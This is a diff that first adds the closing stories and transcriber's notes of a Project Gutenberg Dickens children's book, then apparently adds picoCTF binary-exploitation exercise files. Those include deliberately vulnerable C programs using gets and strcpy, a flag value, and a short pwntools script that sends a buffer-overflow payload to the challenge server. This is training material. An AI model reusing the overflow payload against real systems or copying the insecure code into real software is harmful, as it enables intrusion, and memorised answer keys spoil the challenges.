+"Oh, Davy," she said, "that you should hurt anyone I love! I forgive
+you, Davy, but it grieves me so that you should have such bad passions
+in your heart. Try to be better, pray to be better."
+
+David was very unhappy that his mother should think him so wicked, and
+though she kissed him, and said, "I forgive you, my dear boy, God bless
+you," he cried so bitterly when he was on his way in the carrier's
+cart, that his pocket handkerchief had to be spread out on the horse's
+back to dry.
+
+After they had gone a little way the cart stopped, and Peggotty came
+running up, with a parcel of cakes and a purse for David. After giving
+him a good hug, she ran off.
+
+Davy found three bright shillings in the purse, and two half-crowns
+wrapped in paper on which was written, in his mother's hand--"For Davy.
+With my love."
+
+Davy shared his cakes with the carrier, who asked if Peggotty made them,
+and David told him yes, she did all their cooking. The carrier looked
+thoughtful, and then asked David if he would send a message to Peggotty
+from him. David agreed, and the message was "Barkis is willing." While
+David was waiting for the coach at Yarmouth, he wrote to Peggotty:
+
+MY DEAR PEGGOTTY,--I have come here safe. Barkis is willing. My love to
+mamma.--Yours affectionately."
+
+"_P. S._--He says he particularly wanted you to know _Barkis is
+willing_."
+
+At Yarmouth he found dinner was ordered for him, and felt very shy at
+having a table all to himself, and very much alarmed when the waiter
+told him he had seen a gentleman fall down dead, after drinking some of
+their beer. David said he would have some water, and was quite grateful
+to the waiter for drinking the ale that had been ordered for him, for
+fear the people of the hotel should be offended. He also helped David to
+eat his dinner and accepted one of his bright shillings.
+
+When they got to Salem House, as the School was called, David found that
+he had been sent before the holidays were over as a punishment, and was
+also to wear a placard on his back, on which was written--"Take care of
+him. He bites." This made David miserable, and he dreaded the return of
+the boys.
+
+Some of the boys teased David by pretending he was a dog, calling him
+Towser, and patting and stroking him; but, on the whole, it was not so
+bad as David had expected. The head boy, Steerforth, promised to take
+care of him, and David loved him dearly, and thought him a great hero.
+Steerforth took a great fancy to the pretty bright-eyed little fellow,
+and David became a favorite with all the boys, by telling them all he
+could remember of the tales he had read.
+
+One day David had a visit from Mr. Peggotty and Ham, who had brought two
+enormous lobsters, a huge crab, and a large canvas bag of shrimps, as
+they "remembered he was partial to a relish with his meals."
+
+David was proud to introduce his friend Steerforth to these kind simple
+friends, and told them how good Steerforth was to him, and the "relish"
+was much appreciated by the boys at supper that night.
+
+When he got home for the holidays David found he had a little baby
+brother, and his mother and Peggotty were very much pleased to see him
+again. Mr. and Miss Murdstone were out, and David sat with his mother
+and Peggotty, and told them all about his school and Steerforth, and
+took the little baby in his arms and nursed it lovingly. But when the
+Murdstones came back they showed plainly they disliked him, and thought
+him in the way, and scolded him, and would not allow him to touch the
+baby, or even to sit with Peggotty in the kitchen, so he was not sorry
+when the time came for him to go back to school, except for leaving his
+dear mamma and the baby.
+
+About two months after he had been back at school he was sent for one
+day and told that his dear mamma had died! The wife of the head-master
+was very kind and gentle to the desolate little boy, and the boys were
+very sorry for him.
+
+David went home the next day, and heard that the dear baby had died too.
+Peggotty received him with great tenderness, and told him about his
+mother's illness and how she had sent a loving message.
+
+"Tell my dearest boy that his mother, as she lay here, blessed him not
+once, but a thousand times," and she had prayed to God to protect and
+keep her fatherless boy.
+
+Mr. Murdstone did not take any notice of poor little David, nor had Miss
+Murdstone a word of kindness for the orphan. Peggotty was to leave in a
+month, and, to their great joy, David was allowed to go with her on a
+visit to Mr. Peggotty. On their way David found out that the mysterious
+message he had given to Peggotty meant that Barkis wanted to marry her,
+and Peggotty had consented. Everyone in Mr. Peggotty's cottage was
+pleased to see David, and did their best to comfort him. Little Em'ly
+was at school when he arrived, and he went out to meet her, but when he
+saw her coming along, her blue eyes bluer, and her bright face prettier
+than ever, he pretended not to know her, and was passing by, when Em'ly
+laughed and ran away, so of course he was obliged to run and catch her
+and try to kiss her, but she would not let him, saying she was not a
+baby now. But she was kind to him all the same, and when they spoke
+about the loss of his dear mother, David saw that her eyes were full of
+tears.
+
+During this visit Peggotty was married to Mr. Barkis, and had a nice
+little house of her own, and Davy spent the night before he was to
+return home in a little room in the roof.
+
+"Young or old, Davy dear, so long as I have this house over my head,"
+said Peggotty, "you shall find it as if I expected you here directly
+every minute. I shall keep it as I used to keep your old little room, my
+darling, and if you was to go to China, you might think of its being
+kept just the same all the time you were away."
+
+David felt how good and true a friend she was, and thanked her as well
+as he could, for they had brought him to the gate of his home, and
+Peggotty had him clasped in her arms.
+
+How utterly wretched and forlorn he felt! He found he was not to go back
+to school any more, and wandered about sad and solitary, neglected and
+uncared for. Peggotty's weekly visits were his only comfort. No one took
+any pains with him, and he had no friends near who could help him.
+
+At last one day, after some weary months had passed, Mr. Murdstone told
+him he was to go to London and earn his own living. There was a place
+for him at Murdstone & Grinby's, a firm in the wine trade. His lodging
+and clothes would be provided for him by his step-father, and he would
+earn enough for his food and pocket money. The next day David was sent
+up to London with the manager, dressed in a shabby little white hat with
+black crape round it for his mother, a black jacket, and hard, stiff
+corduroy trousers, a little fellow of ten years old to fight his own
+battles in the world!
+
+His place, he found, was one of the lowest, with boys of no education
+and in quite an inferior station to himself--his duties were to wash
+bottles, stick on labels, and so on. David was utterly miserable at
+being degraded in this way, and shed bitter tears, as he feared he would
+forget all he had learnt at school. His lodging, one bare little room,
+was in the house of some people named Micawber, shiftless, careless,
+good-natured people, who were always in debt and difficulties. David
+felt great pity for their misfortunes and did what he could to help poor
+Mrs. Micawber to sell her books and other little things she could spare,
+to buy food for herself, her husband, and their four children. If he had
+not been a very innocent-minded, good little boy, he might easily have
+fallen into bad ways at this time. But God took care of the orphan boy
+and kept him from harm.
+
+The troubles of the Micawbers increased more and more, until at last
+they were obliged to leave London. The last Sunday the Micawbers were in
+town David dined with them. After he had seen them off the next morning
+by the coach, he wrote to Peggotty to ask her if she knew where his
+aunt, Miss Betsy Trotwood, lived, and to borrow half a guinea; for he
+had resolved to run away from Murdstone & Grinby's, and go to his aunt
+and tell her his story. Peggotty wrote, enclosing the half-guinea, and
+saying she only knew Miss Trotwood lived near Dover, but whether in that
+place itself, or at Folkestone, Sandgate, or Hythe, she could not tell.
+Hearing that all these places were close together, David made up his
+mind to start. As he had received his week's wages in advance, he waited
+till the following Saturday, thinking it would not be honest to go
+before. He went out to look for some one to carry his box to the coach
+office, and unfortunately employed a wicked young man who not only ran
+off with his box, but robbed him of his half-guinea, leaving poor David
+in dire distress. In despair, he started off to walk to Dover, and was
+forced to sell his waistcoat to buy some bread. The first night he found
+his way to his old school at Blackheath, and slept on a haystack close
+by, feeling some comfort in the thought of the boys being near. He knew
+Steerforth had left, or he would have tried to see him.
+
+On he trudged the next day and sold his jacket for one shilling and
+fourpence. He was afraid to buy anything but bread or to spend any money
+on a bed or a shelter for the night. After six days, he arrived at
+Dover, ragged, dusty, and half-dead with hunger and fatigue. But here,
+at first, he could get no tidings of his aunt, and, in despair, was
+going to try some of the other places Peggotty had mentioned, when the
+driver of a fly dropped his horsecloth, and as David was handing it up
+to him, he saw something kind in the man's face that encouraged him to
+ask once more if he knew where Miss Trotwood lived.
+
+  [Illustration: LITTLE DAVID COPPERFIELD.]
+
+The man directed him towards some houses on the heights, and thither
+David toiled; a forlorn little creature, without a jacket or waistcoat,
+his white hat crushed out of shape, his shoes worn out, his shirt and
+trousers torn and stained, his pretty curly hair tangled, his face and
+hands sunburnt, and covered with dust. Lifting his big, wistful eyes to
+one of the windows above, he saw a pleasant faced gentleman with grey
+hair, who nodded at him several times, then shook his head and went
+away. David was just turning away to think what he should do, when a
+tall, erect, elderly lady, with a gardening apron on and a knife in her
+hand, came out of the house, and began to dig up a root in the garden.
+
+"Go away," she cried. "Go away. No boys here."
+
+But David felt desperate. Going in softly, he stood beside her, and
+touched her with his finger, and said timidly, "If you please, ma'am--"
+and when she looked up, he went on--
+
+"Please, aunt, I am your nephew."
+
+"Oh, Lord!" she exclaimed in astonishment, and sat flat down on the
+path, staring at him, while he went on--
+
+"I am David Copperfield, of Blunderstone, in Suffolk, where you came the
+night I was born, and saw my dear mamma. I have been unhappy since she
+died. I have been slighted and taught nothing, and thrown upon myself,
+and put to work not fit for me. It made me run away to you. I was robbed
+at first starting out and have walked all the way, and have never slept
+in a bed since I began the journey." Here he broke into a passion of
+crying, and his aunt jumped up and took him into the house, where she
+put him on the sofa and sent the servant to ask "Mr. Dick" to come down.
+The gentleman whom David had seen at the window came in and was told who
+the ragged little object on the sofa was.
+
+"Now here you see young David Copperfield, and the question is What
+shall I do with him?"
+
+"Do with him?" answered Mr. Dick. Then, after some consideration, and
+looking at David, he said, "Well, if I was you, I would wash him!"
+
+David knelt down to say his prayers that night in a pleasant room facing
+the sea, and as he lay in the clean, snow-white bed, he prayed he might
+never be homeless again, and might never forget the homeless.
+
+The next morning his aunt told him she had written to Mr. Murdstone, and
+at last Mr. and Miss Murdstone arrived.
+
+Mr. Murdstone told Miss Betsy that David was a very bad, stubborn,
+violent-tempered boy, whom he had tried to improve, but could not
+succeed. If Miss Trotwood chose to protect and encourage him now, she
+must do it always, for he had come to fetch him away.
+
+"Are you ready to go, David?" asked his aunt.
+
+But David answered no, and begged and prayed her for his father's sake
+to befriend and protect him, for neither Mr. nor Miss Murdstone had ever
+liked him or been kind to him.
+
+"Mr. Dick," said Miss Trotwood, "what shall I do with this child?"
+
+Mr. Dick considered. "Have him measured for a suit of clothes directly."
+
+"Mr. Dick," said Miss Trotwood, "your common sense is invaluable."
+
+Then she pulled David towards her, and said to Mr. Murdstone, "You can
+go when you like. I'll take my chance with the boy. If he's all you say
+he is I can at least do as much for him as you have done. But I don't
+believe a word of it."
+
+Some clothes were bought for him that same day and marked "Trotwood
+Copperfield," for his aunt wished to call him by her name.
+
+Now David felt his troubles were over, and he began quite a new life,
+well cared for and kindly treated. He was sent to a very nice school in
+Canterbury, where his aunt left him with these words, which David never
+forgot.
+
+"Trot, be a credit to yourself, to me, and Mr. Dick, and Heaven be with
+you. Never be mean in anything, never be false, never be cruel. Avoid
+these three vices, Trot, and I shall always be hopeful of you."
+
+David did his best to show his gratitude to his dear aunt by studying
+hard, and trying to be all she could wish.
+
+When you are older you can read how he grew up to be a good, clever man,
+and met again all his old friends, and made many new ones.
+
+
+
+
+JENNY WREN.
+
+
+One day, a great many years ago, a gentleman ran up the steps of a tall
+house in the neighborhood of St. Mary Axe.
+
+The gentleman knocked and rang several times before any one came, but at
+last an old man opened the door. "What were you up to that you did not
+hear me?" said Mr. Fledgeby irritably.
+
+"I was taking the air at the top of the house, sir," said the old man
+meekly, "it being a holiday. What might you please to want, sir?"
+
+"Humph! Holiday indeed," grumbled his master, who was a toy merchant
+amongst other things. He then seated himself and gave the old man--a Jew
+and Riah by name--directions about the dressing of some dolls, and, as
+he rose to go, exclaimed--
+
+"By the bye, how _do_ you take the air? Do you stick your head out of a
+chimney-pot?"
+
+"No, sir, I have made a little garden on the roof."
+
+"Let's look at it," said Mr. Fledgeby.
+
+"Sir, I have company there," returned Riah hesitating, "but will you
+please come up and see them?"
+
+Mr. Fledgeby nodded, and the old man led the way up flight after flight
+of stairs, till they arrived at the house-top. Seated on a carpet, and
+leaning against a chimney-stack, were two girls bending over books. Some
+creepers were trained round the chimney-pots, and evergreens were placed
+round the roof, and a few more books, a basket of gaily colored scraps,
+and bits of tinsel, lay near. One of the girls rose on seeing that Riah
+had brought a visitor, but the other remarked, "I'm the person of the
+house downstairs, but I can't get up, whoever you are, because my back
+is bad, and my legs are queer."
+
+"This is my master," said Riah speaking to the two girls, "and this," he
+added, turning to Mr. Fledgeby, "is Miss Jenny Wren; she lives in this
+house, and is a clever little dressmaker for little people. Her friend
+Lizzie," continued Riah, introducing the second girl. "They are good
+girls, both, and as busy as they are good; in spare moments they come up
+here, and take to book learning."
+
+"Humph!" said Mr. Fledgeby, looking round, "Humph!" He was so much
+surprised that apparently he couldn't get beyond that word.
+
+Lizzie, the elder of these two girls, was strong and handsome, but the
+little Jenny Wren, whom she so loved and protected, was small, and
+deformed, though she had a beautiful little face, and the longest and
+loveliest golden hair in the world, which fell about her like a cloak of
+shining curls, as though to hide the poor little misshapen figure.
+
+The Jew Riah, as well as Lizzie, was always kind and gentle to Jenny
+Wren, who called him godfather. She had a father, who shared her poor
+little rooms, whom she called her child, for he was a bad, drunken,
+disreputable old man, and the poor girl had to care for him, and earn
+money to keep them both. Sometimes the two girls, Jenny helping herself
+along with a crutch, would go and walk about the fashionable streets. As
+they walked along, Jenny would tell her friend of the fancies she had
+when sitting alone at her work. "I imagine birds till I can hear them
+sing," she said one day, "and flowers till I can smell them. And oh! the
+beautiful children that come to me, in the early mornings! They are
+quite different to other children, not like me, never cold, or anxious,
+or tired, or hungry, never any pain; they come in numbers, in long
+bright slanting rows, all dressed in white, with shiny heads. 'Who is
+this in pain?' they say, and they sweep around and about me, take me up
+in their arms, and I feel so light, and all the pain goes. I know they
+are coming a long way off, by hearing them say, 'Who is this in pain?'
+and I answer, 'Oh my blessed children, it's poor me! have pity on me,
+and take me up and then the pain will go.'"
+
+  [Illustration: JENNIE WREN.
+  "THE BEAUTIFUL CHILDREN THAT COME TO ME."]
+
+Lizzie sat stroking and brushing the beautiful hair, when they were at
+home again, and as she kissed her good-night, a miserable old man
+stumbled into the room. "How's my Jenny Wren, best of children?" he
+mumbled, as he shuffled unsteadily towards her, but Jenny pointed her
+small finger towards him exclaiming--"Go along with you, you bad,
+wicked, old child, you troublesome, wicked, old thing, _I_ know where
+you have been; ain't you ashamed of yourself, you disgraceful boy?"
+"Yes; my dear, yes," stammered the tipsy old father, tumbling into a
+corner. One day when Jenny was on her way home with Riah, they came on a
+small crowd of people. A tipsy man had been knocked down and badly
+hurt--"Let us see what it is!" said Jennie. The next moment she
+exclaimed--"Oh, gentlemen--gentlemen, he is my child, he belongs to me,
+my poor, bad, old child!"
+
+"Your child--belongs to you--" repeated the man who was about to lift
+the helpless figure on to a stretcher. "Aye, it's old Dolls--tipsy old
+Dolls--" cried some one in the crowd, for it was by this name that they
+knew the old man.
+
+"He's her father, sir," said Riah in a low tone to the doctor who was
+now bending over the stretcher.
+
+"So much the worse," answered the doctor, "for the man is dead."
+
+Yes, "Mr. Dolls" was dead, and many were the dresses which the weary
+fingers of the sorrowful little worker must make in order to pay for his
+humble funeral, and buy a black frock for herself. Often the tears
+rolled down on to her work. "My poor child," she said to Riah, "my poor
+old child, and to think I scolded him so."
+
+"You were always a good, brave, patient girl," returned Riah, "always
+good and patient, however tired."
+
+And so the poor little "person of the house" was left alone but for the
+faithful affection of the kind Jew, and her friend Lizzie. Her room grew
+pretty comfortable, for she was in great request in her "profession" as
+she called it, and there was now no one to spend and waste her earnings.
+But nothing could make her life otherwise than a suffering one till the
+happy morning, when her child-angels visited her for the last time and
+carried her away to the land where all such pain as hers is healed for
+evermore.
+
+
+
+
+PIP'S ADVENTURE.
+
+
+All that little Philip Pirrip, usually called Pip, knew about his father
+and mother, and five little brothers, was from seeing their tombstones
+in the churchyard. He was taken care of by his sister, who was twenty
+years older than himself. She had married a blacksmith, named Joe
+Gargery, a kind, good man, while she, unfortunately, was a hard, stern
+woman, and treated her little brother and her amiable husband with great
+harshness. They lived in a marshy part of the country, about twenty
+miles from the sea.
+
+One cold raw day towards evening, when Pip was about six years old, he
+wandered into the churchyard, and trying to make out what he could of
+the inscriptions on his family tombstones, and the darkness coming on,
+he felt very lonely and frightened, and began to cry.
+
+"Hold your noise!" cried a terrible voice, and a man started up from
+among the graves close to him. "Keep still, you little imp, or I'll cut
+your throat!"
+
+He was a dreadful looking man, dressed in coarse grey cloth, with a
+great iron on his leg. Wet, muddy and miserable, his teeth chattered in
+his head, as he seized Pip by the chin.
+
+"Oh! don't cut my throat, sir," cried Pip, in terror.
+
+"Tell us your name!" said the man. "Quick!"
+
+"Pip, sir."
+
+"Once more," said the man, staring at him. "Give it mouth."
+
+"Pip. Pip, sir."
+
+"Show us where you live," said the man. "Point out the place."
+
+Pip showed him the village, about a mile or more from the church.
+
+The man looked at him for a moment, and then turned him upside down and
+emptied his pockets. He found nothing in them but a piece of bread,
+which he ate ravenously.
+
+"Now lookee here," said the man. "Where's your mother?"
+
+"There, sir," said Pip.
+
+At this the man started to run away, but stopped and looked over his
+shoulder.
+
+"There, sir," explained Pip, showing him the tombstone.
+
+"Oh, and is that your father along of your mother?"
+
+"Yes, sir," said Pip.
+
+"Ha!" muttered the man, "then who d'ye live with--supposin' you're
+kindly let to live, which I han't made up my mind about?"
+
+"My sister, sir, Mrs. Joe Gargery, wife of Joe Gargery, the blacksmith,
+sir."
+
+"Blacksmith, eh?" said the man, and looked down at his leg. Then he
+seized the trembling little boy by both arms, and glaring down at him,
+he said,--
+
+"Now lookee here, the question being whether you're to be let to
+live--You know what a file is?"
+
+"Yes, sir."
+
+"And you know what wittles is?"
+
+"Yes, sir."
+
+"You get me a file, and you get me wittles--you bring 'em both to me."
+All this time he was tilting poor Pip backwards till he was dreadfully
+frightened and giddy.
+
+"You bring me, to-morrow morning early, that file and them wittles--You
+do it, and you never dare to say a word or dare to make a sign
+concerning your having seen such a person as me, or any person sumever,
+and you shall be let to live." Then he let him go, saying--"You remember
+what you've undertook, and you get home."
+
+Pip ran home without stopping. Joe was sitting in the chimney corner,
+and told him Mrs. Joe had been out to look for him, and taken Tickler
+with her. Tickler was a cane, and Pip was rather depressed by this piece
+of news.
+
+Mrs. Joe came in almost directly, and after having given Pip a taste of
+Tickler, she sat down to prepare the tea, and cutting a huge slice of
+bread and butter, she gave half of it to Joe and half to Pip. Pip
+managed, after some time, to slip his down the leg of his trousers, and
+Joe, thinking he had swallowed it, was dreadfully alarmed and begged him
+not to bolt his food like that. "Pip, old chap, you'll do yourself a
+mischief,--it'll stick somewhere, you can't have chewed it, Pip. You
+know, Pip, you and me is always friends, and I'd be the last to tell
+upon you at any time, but such a--such a most uncommon bolt as that."
+
+  [Illustration: PIP AND THE CONVICT.
+  HALF DEAD WITH COLD AND HUNGER.]
+
+"Been bolting his food, has he?" cried Mrs. Joe.
+
+"You know, old chap," said Joe, "I bolted myself when I was your
+age--frequent--and as a boy I've been among many bolters; but I never
+see your bolting equal yet, Pip, and it's a mercy you ain't bolted
+dead."
+
+Poor Pip passed a wretched night, thinking of the dreadful promise he
+had made, and as soon as it was beginning to get light outside he got up
+and crept downstairs.
+
+As quickly as he could he took some bread, some cheese, about half a jar
+of mince-meat he tied up in a handkerchief, with the slice of bread and
+butter, some brandy from a stone bottle, a meat bone with very little on
+it, and a pork pie, which he found on an upper shelf. Then he got a file
+from among Joe's tools, and ran for the marshes.
+
+Pip found the man waiting for him, half dead with cold and hunger, and
+he ate the food in such a ravenous way that Pip, in spite of his terror,
+was quite pitiful over him, and said, "I am glad you enjoy it."
+
+"Thankee, my boy, I do."
+
+Pip watched him trying to file the iron off his leg, and then, being
+afraid of stopping longer away from home, he ran off.
+
+Pip passed a wretched morning expecting every moment that the
+disappearance of the pie would be found out. But Mrs. Joe was too much
+taken up with preparing the dinner, for they were expecting visitors.
+
+Just at the end of the dinner Pip thought his time had come to be found
+out, for his sister said graciously to her guests--
+
+"You must taste a most delightful and delicious present I have had. It's
+a pie, a savory pork pie."
+
+Pip could bear it no longer, and ran for the door, and there ran head
+foremost into a party of soldiers with their muskets, one of whom held
+out a pair of handcuffs to him saying--"Here you are, look sharp, come
+on." But they had not come for him, they only wanted Joe to mend the
+handcuffs, for they were on the search for two convicts who had escaped
+and were somewhere hid in the marshes. This turned the attention of Mrs.
+Joe from the disappearance of the pie without which she had come back,
+in great astonishment. When the handcuffs were mended the soldiers went
+off, accompanied by Joe and one of the visitors, and Joe took Pip and
+carried him on his back.
+
+Pip whispered, "I hope, Joe, we shan't find them," and Joe answered "I'd
+give a shilling if they had cut and run, Pip."
+
+But the soldiers soon caught them, and one was Pip's miserable
+acquaintance, and once when the man looked at Pip, the child shook his
+head to try and let him know he had said nothing.
+
+But the convict, without looking at anyone, told the Sergeant he wanted
+to say something to prevent other people being under suspicion, and said
+he had taken some "wittles" from the blacksmith's. "It was some broken
+wittles, that's what it was, and a dram of liquor, and a pie."
+
+"Have you happened to miss such an article as a pie, blacksmith?"
+enquired the Sergeant.
+
+"My wife did, at the very moment when you came in."
+
+"So," said the convict, looking at Joe, "you're the blacksmith, are you?
+Then I'm sorry to say, I've eat your pie."
+
+"God knows you're welcome to it," said Joe. "We don't know what you have
+done, but we wouldn't have you starved to death for it, poor miserable
+fellow creature. Would us, Pip?"
+
+Then the boat came, and the convicts were taken back to prison, and Joe
+carried Pip home.
+
+Some years after, some mysterious friend sent money for Pip to be
+educated and brought up as a gentleman, but it was only when Pip was
+quite grown up that he discovered this mysterious friend was the
+wretched convict who had frightened him so dreadfully that cold, dark
+Christmas Eve.
+
+
+
+
+TRANSCRIBER'S NOTES:
+
+
+  Text in italics is indicated with underscores: _italics_.
+
+  Inconsistencies in spelling and hyphenation have been retained from
+    the original.
+
+  Punctuation has been corrected without note.
+
+  Obvious typographical errors have been corrected as follows:
+    Page  7: Fren changed to Fern
+    Page 25: Joe changed to Jo
+    Page 31: DORRITT changed to DORRIT
+    Page 34: needlwork changed to needlework
+    Page 40: distresed changed to distressed
+    Page 41: grandfaather changed to grandfather
+    Page 56: hugh changed to huge
+
+
+
+
+
+End of the Project Gutenberg EBook of Charles Dickens' Children Stories, by 
+Charles Dickens
+
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+
diff --git a/glory_of_the_garden/garden.jpg b/glory_of_the_garden/garden.jpg
new file mode 100755
index 0000000..35aca70
Binary files /dev/null and b/glory_of_the_garden/garden.jpg differ
diff --git a/mochis_tale/binary_exploitation/buffer_overflow_0/flag.txt b/mochis_tale/binary_exploitation/buffer_overflow_0/flag.txt
new file mode 100644
index 0000000..e0e55e4
--- /dev/null
+++ b/mochis_tale/binary_exploitation/buffer_overflow_0/flag.txt
@@ -0,0 +1 @@
+flagFLAG
diff --git a/mochis_tale/binary_exploitation/buffer_overflow_0/vuln b/mochis_tale/binary_exploitation/buffer_overflow_0/vuln
new file mode 100755
index 0000000..e4e63e1
Binary files /dev/null and b/mochis_tale/binary_exploitation/buffer_overflow_0/vuln differ
diff --git a/mochis_tale/binary_exploitation/buffer_overflow_0/vuln.c b/mochis_tale/binary_exploitation/buffer_overflow_0/vuln.c
new file mode 100755
index 0000000..a90359a
--- /dev/null
+++ b/mochis_tale/binary_exploitation/buffer_overflow_0/vuln.c
@@ -0,0 +1,44 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <signal.h>
+
+#define FLAGSIZE_MAX 64
+
+char flag[FLAGSIZE_MAX];
+
+void sigsegv_handler(int sig) {
+  printf("%s\n", flag);
+  fflush(stdout);
+  exit(1);
+}
+
+void vuln(char *input){
+  char buf2[16];
+  strcpy(buf2, input);
+}
+
+int main(int argc, char **argv){
+  
+  FILE *f = fopen("flag.txt","r");
+  if (f == NULL) {
+    printf("%s %s", "Please create 'flag.txt' in this directory with your",
+                    "own debugging flag.\n");
+    exit(0);
+  }
+  
+  fgets(flag,FLAGSIZE_MAX,f);
+  signal(SIGSEGV, sigsegv_handler); // Set up signal handler
+  
+  gid_t gid = getegid();
+  setresgid(gid, gid, gid);
+
+
+  printf("Input: ");
+  fflush(stdout);
+  char buf1[100];
+  gets(buf1); 
+  vuln(buf1);
+  printf("The program will exit now\n");
+  return 0;
+}
diff --git a/mochis_tale/binary_exploitation/buffer_overflow_1/sol.py b/mochis_tale/binary_exploitation/buffer_overflow_1/sol.py
new file mode 100755
index 0000000..05d3f22
--- /dev/null
+++ b/mochis_tale/binary_exploitation/buffer_overflow_1/sol.py
@@ -0,0 +1,11 @@
+#!/home/maxime/.pyvenv/bin/python3
+from pwn import *
+
+conn = remote("saturn.picoctf.net", 63154)
+
+conn.recvline()
+conn.sendline(b'0'*44 + b'\xf6\x91\x04\x08')
+conn.interactive()
+
+conn.close()
+
diff --git a/mochis_tale/binary_exploitation/buffer_overflow_1/vuln b/mochis_tale/binary_exploitation/buffer_overflow_1/vuln
new file mode 100755
index 0000000..05e89bf
Binary files /dev/null and b/mochis_tale/binary_exploitation/buffer_overflow_1/vuln differ
diff --git a/mochis_tale/binary_exploitation/buffer_overflow_1/vuln.c b/mochis_tale/binary_exploitation/buffer_overflow_1/vuln.c
new file mode 100755
index 0000000..e2dcd2c
--- /dev/null
+++ b/mochis_tale/binary_exploitation/buffer_overflow_1/vuln.c
@@ -0,0 +1,42 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include "asm.h"
+
+#define BUFSIZE 32
+#define FLAGSIZE 64
+
+void win() {
+  char buf[FLAGSIZE];
+  FILE *f = fopen("flag.txt","r");
+  if (f == NULL) {
+    printf("%s %s", "Please create 'flag.txt' in this directory with your",
+                    "own debugging flag.\n");
+    exit(0);
+  }
+
+  fgets(buf,FLAGSIZE,f);
+  printf(buf);
+}
+
+void vuln(){
+  char buf[BUFSIZE];
+  gets(buf);
+
+  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
+}
+
+int main(int argc, char **argv){
+
+  setvbuf(stdout, NULL, _IONBF, 0);
+  
+  gid_t gid = getegid();
+  setresgid(gid, gid, gid);
+
+  puts("Please enter your string: ");
+  vuln();
+  return 0;
+}
+
diff --git a/mochis_tale/binary_exploitation/local_target/local-target b/mochis_tale/binary_exploitation/local_target/local-target
new file mode 100755
index 0000000..072f668
Binary files /dev/null and b/mochis_tale/binary_exploitation/local_target/local-target differ
diff --git a/mochis_tale/binary_exploitation/local_target/local-target.c b/mochis_tale/binary_exploitation/local_target/local-target.c
new file mode 100755
index 0000000..f20ecdd
--- /dev/null
+++ b/mochis_tale/binary_exploitation/local_target/local-target.c
@@ -0,0 +1,50 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+
+
+int main(){
+  FILE *fptr;
+  char c;
+
+  char input[16];
+  int num = 64;
+  
+  printf("Enter a string: ");
+  fflush(stdout);
+  gets(input);
+  printf("\n");
+  
+  printf("num is %d\n", num);
+  fflush(stdout);
+  
+  if( num == 65 ){
+    printf("You win!\n");
+    fflush(stdout);
+    // Open file
+    fptr = fopen("flag.txt", "r");
+    if (fptr == NULL)
+    {
+        printf("Cannot open file.\n");
+        fflush(stdout);
+        exit(0);
+    }
+
+    // Read contents from file
+    c = fgetc(fptr);
+    while (c != EOF)
+    {
+        printf ("%c", c);
+        c = fgetc(fptr);
+    }
+    fflush(stdout);
+
+    printf("\n");
+    fflush(stdout);
+    fclose(fptr);
+    exit(0);
+  }
+  
+  printf("Bye!\n");
+  fflush(stdout);
+}
diff --git a/mochis_tale/binary_exploitation/picker_4/picker-IV b/mochis_tale/binary_exploitation/picker_4/picker-IV
new file mode 100755
index 0000000..238a4da
Binary files /dev/null and b/mochis_tale/binary_exploitation/picker_4/picker-IV differ
diff --git a/mochis_tale/binary_exploitation/picker_4/picker-IV.c b/mochis_tale/binary_exploitation/picker_4/picker-IV.c
new file mode 100755
index 0000000..5f16afb
--- /dev/null
+++ b/mochis_tale/binary_exploitation/picker_4/picker-IV.c
@@ -0,0 +1,49 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <unistd.h>
+
+
+void print_segf_message(){
+  printf("Segfault triggered! Exiting.\n");
+  sleep(15);
+  exit(SIGSEGV);
+}
+
+int win() {
+  FILE *fptr;
+  char c;
+
+  printf("You won!\n");
+  // Open file
+  fptr = fopen("flag.txt", "r");
+  if (fptr == NULL)
+  {
+      printf("Cannot open file.\n");
+      exit(0);
+  }
+
+  // Read contents from file
+  c = fgetc(fptr);
+  while (c != EOF)
+  {
+      printf ("%c", c);
+      c = fgetc(fptr);
+  }
+
+  printf("\n");
+  fclose(fptr);
+}
+
+int main() {
+  signal(SIGSEGV, print_segf_message);
+  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
+
+  unsigned int val;
+  printf("Enter the address in hex to jump to, excluding '0x': ");
+  scanf("%x", &val);
+  printf("You input 0x%x\n", val);
+
+  void (*foo)(void) = (void (*)())val;
+  foo();
+}
diff --git a/mochis_tale/interlude/picker_2/hex b/mochis_tale/interlude/picker_2/hex
new file mode 100644
index 0000000..1efb8eb
--- /dev/null
+++ b/mochis_tale/interlude/picker_2/hex
@@ -0,0 +1 @@
+0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x66 0x31 0x6c 0x37 0x33 0x72 0x35 0x5f 0x66 0x34 0x31 0x6c 0x5f 0x63 0x30 0x64 0x33 0x5f 0x72 0x33 0x66 0x34 0x63 0x37 0x30 0x72 0x5f 0x6d 0x31 0x67 0x68 0x37 0x5f 0x35 0x75 0x63 0x63 0x33 0x33 0x64 0x5f 0x30 0x62 0x35 0x66 0x31 0x31 0x33 0x31 0x7d
diff --git a/mochis_tale/interlude/picker_2/picker-II.py b/mochis_tale/interlude/picker_2/picker-II.py
new file mode 100755
index 0000000..9a01bac
--- /dev/null
+++ b/mochis_tale/interlude/picker_2/picker-II.py
@@ -0,0 +1,175 @@
+
+import sys
+
+
+
+def getRandomNumber():
+  print(4)  # Chosen by fair die roll.
+            # Guaranteed to be random.
+            # (See XKCD)
+
+def exit():
+  sys.exit(0)
+  
+def esoteric1():
+  esoteric = \
+  '''
+  int query_apm_bios(void)
+{
+	struct biosregs ireg, oreg;
+
+	/* APM BIOS installation check */
+	initregs(&ireg);
+	ireg.ah = 0x53;
+	intcall(0x15, &ireg, &oreg);
+
+	if (oreg.flags & X86_EFLAGS_CF)
+		return -1;		/* No APM BIOS */
+
+	if (oreg.bx != 0x504d)		/* "PM" signature */
+		return -1;
+
+	if (!(oreg.cx & 0x02))		/* 32 bits supported? */
+		return -1;
+
+	/* Disconnect first, just in case */
+	ireg.al = 0x04;
+	intcall(0x15, &ireg, NULL);
+
+	/* 32-bit connect */
+	ireg.al = 0x03;
+	intcall(0x15, &ireg, &oreg);
+
+	boot_params.apm_bios_info.cseg        = oreg.ax;
